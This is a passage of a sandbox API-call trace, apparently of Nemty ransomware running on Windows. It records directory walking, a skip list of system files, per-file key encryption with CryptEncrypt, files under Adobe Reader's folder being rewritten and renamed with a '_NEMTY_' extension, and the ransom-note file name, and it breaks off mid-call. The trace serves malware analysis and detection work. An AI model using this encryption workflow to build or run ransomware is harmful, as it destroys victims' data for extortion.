WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c0 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.911] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e9e3d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x18e9e3d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e9e3d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.911] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0169.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0169.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0169.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.912] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="...") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="windows") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="$RECYCLE.BIN") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="rsa") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="NTDETECT.COM") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ntldr") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="MSDOS.SYS") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="IO.SYS") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="boot.ini") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="boot.ini") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="AUTOEXEC.BAT") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ntuser.dat") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="desktop.ini") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="CONFIG.SYS") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="RECYCLER") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="BOOTSECT.BAK") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="bootmgr") returned 1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="programdata") returned -1 [0169.912] lstrcmpiW (lpString1="IrakHau.htm", lpString2="appdata") returned 1 [0169.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IrakHau.htm", lpUsedDefaultChar=0x0) returned 11 [0169.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IrakHau.htm", lpUsedDefaultChar=0x0) returned 11 [0169.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IrakHau.htm", lpUsedDefaultChar=0x0) returned 11 [0169.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IrakHau.htm", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IrakHau.htm", lpUsedDefaultChar=0x0) returned 11 [0169.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0169.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0169.913] Sleep (dwMilliseconds=0x5) [0169.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18eea690, dwHighDateTime=0x1d561e8)) [0169.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18eea690, dwHighDateTime=0x1d561e8)) [0169.929] GetLastError () returned 0x12 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.929] GetLastError () returned 0x12 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0169.929] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0169.929] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0169.929] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: pszString="VM7yWGApJUPaevsxPdMd9cPOqbPRl9fY1oXCXMIDfHJXibTXPVLfx0i0205YfPU1\r\nTop8Usa2fNL6Etk8stUo3SrMaZH8n1p2xNK/Bpf5nM6tsgjFdKbKToeAYAh6AHtW\r\nw/uKY8HV/OW2N0bhwDAwOeXlYzbz8pMXl7V8PFrAF82mSEJu/ef45x0LQdlRHJ82\r\nK8YDuxobfUSxIIWvnC+FEmsvE2k5tAJsAtkAPkbyy576e25v57zPFdDWZNF9difF\r\n8vCsLTjEmygyfVZoGSDw/p6GYL0eBZvZk22B7+5dKrl0jKNYMMMR1V/ritirKM+M\r\nft3nZdku/gHa/p6Zwtp+PQ==\r\n", pcchString=0x653ef9c) returned 1 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0169.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.930] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17032) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4280) returned 0x6351c48 [0169.930] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.930] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x4280, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x4280, lpOverlapped=0x0) returned 1 [0169.933] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.933] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x4280, lpOverlapped=0x0) returned 1 [0169.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.933] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4288 [0169.933] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f941e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f941e0*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0169.933] CloseHandle (hObject=0x1e8) returned 1 [0169.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0169.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0169.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0169.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.934] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm._nemty_kgobjgd_")) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0169.935] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2=".") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="..") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="...") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="windows") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="$RECYCLE.BIN") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="rsa") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="NTDETECT.COM") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="ntldr") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="MSDOS.SYS") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="IO.SYS") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="boot.ini") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="boot.ini") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="AUTOEXEC.BAT") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="ntuser.dat") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="desktop.ini") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="CONFIG.SYS") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="RECYCLER") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="BOOTSECT.BAK") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="bootmgr") returned 1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="programdata") returned -1 [0169.935] lstrcmpiW (lpString1="Leame.htm", lpString2="appdata") returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leame.htm", lpUsedDefaultChar=0x0) returned 9 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leame.htm", lpUsedDefaultChar=0x0) returned 9 [0169.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leame.htm", lpUsedDefaultChar=0x0) returned 9 [0169.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leame.htm", lpUsedDefaultChar=0x0) returned 9 [0169.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0169.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0169.936] Sleep (dwMilliseconds=0x5) [0169.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18f107f0, dwHighDateTime=0x1d561e8)) [0169.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x18f107f0, dwHighDateTime=0x1d561e8)) [0169.945] GetLastError () returned 0x0 [0169.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.945] GetLastError () returned 0x0 [0169.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0169.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0169.945] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0169.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0169.945] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: pszString="Bqa13zoDLaJx9OlQtydrDtyy7WCxfECUelSWiQIzzeTqZyPE/n66b2/rOgnvRy7o\r\nE6OBzpgDWCRxq9Mege1yLGPQuZK5SRTVk30tqWt2cqzS10KTohUawfHmRsYQme4o\r\nx/GxUM4bgjoO+UW/57HoYMUBmbBYiARORlpcCvgcOS0kJwyxslTJJ0IbCPnDLLfO\r\n8aeWnY+VQh2ZuPTUnoQddzetGToJddYkqsdonSv+wN2G+JcMev7fGUn7LV4BwcsD\r\nSpUjB47vQ4Pb0wX/UE87hH76kI+OaxGG57S9UKsFNIAUb4XLWD+b8AOB+QS/iCD/\r\nIfwyFHE4yqhpE1+OjkErtQ==\r\n", pcchString=0x653ef9c) returned 1 [0169.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0169.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0169.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 